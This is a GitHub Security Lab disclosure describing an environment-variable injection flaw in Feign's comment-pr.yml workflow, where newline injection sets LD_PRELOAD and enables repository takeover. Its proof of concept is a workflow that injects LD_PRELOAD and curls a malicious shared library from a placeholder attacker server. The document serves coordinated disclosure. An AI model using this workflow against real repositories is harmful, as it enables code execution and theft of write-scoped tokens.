Coordinated Disclosure Timeline

Summary

Feign’s comment-pr.yml workflow is vulnerable to Environment Variable injection which may lead to Repository takeover.

Project

Feign

Tested Version

Latest commit at the time of reporting

Details

Environment Variable injection (GHSL-2024-170)

The comment-pr.yml workflow gets triggered when the receive-pr workflow completes:

on:
  workflow_run:
    workflows: ["receive-pr"]
    types:
      - completed

Later, it downloads and extracts an artifact generated by the triggering workflow:

# Download the PR number
- uses: actions/download-artifact@v4
  with:
    name: pr_number
    github-token: ${{ secrets.GITHUB_TOKEN }}
    run-id: ${{ github.event.workflow_run.id }}

And reads pr_number.txt into an Environment Variable:

- name: Read pr_number.txt
  run: |
    PR_NUMBER=$(cat pr_number.txt)
    echo "PR_NUMBER=$PR_NUMBER" >> $GITHUB_ENV
    rm pr_number.txt

The $GITHUB_ENV pointed file is just a regular file where every KEY=VALUE will be used to define a new Environment Variable after the step completes. Since the contents of the pr_number.txt file have not been validated, they may contain new lines that will cause new Environment Variables to be defined.

An attacker can send a malicious inject.so and pr_number.txt file with the following content:

111
LD_PRELOAD=/home/runner/work/feign/feign/inject.so

Which will result in two Environment Variables being defined:

In this example we are manipulating the LD_PRELOAD environment variable to force the system to load a malicious shared library called inject.so. As a result, all subsequent processes launched will automatically incorporate this compromised library into their execution environment.

The following step will run the googleapis/code-suggester action:

# Post suggestions as a comment on the PR
- uses: googleapis/code-suggester@v4
  with:
    command: review
    pull_number: ${{ env.PR_NUMBER }}
    git_dir: "."

This action will execute some JS code using node. Therefore the LD_PRELOAD will execute arbitrary code when node gets executed.

PoC

name: receive-pr

on:
  pull_request:

jobs:
  upload-patch:
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - name: Create pr_number.txt
        run: |
          mkdir payload
          echo -e "${{ github.event.number }}\nLD_PRELOAD=/home/runner/work/feign/feign/inject.so" > payload/pr_number.txt
          curl http://<ATTACKER SERVER>/inject.so -o payload/inject.so
      - uses: actions/upload-artifact@v4
        with:
          name: pr_number
          path: payload/

Impact

This issue may lead to repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:

  Actions: write
  Attestations: write
  Checks: write
  Contents: write
  Deployments: write
  Discussions: write
  Issues: write
  Metadata: read
  Packages: write
  Pages: write
  PullRequests: write
  RepositoryProjects: write
  SecurityEvents: write
  Statuses: write

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-173 in any communication regarding this issue.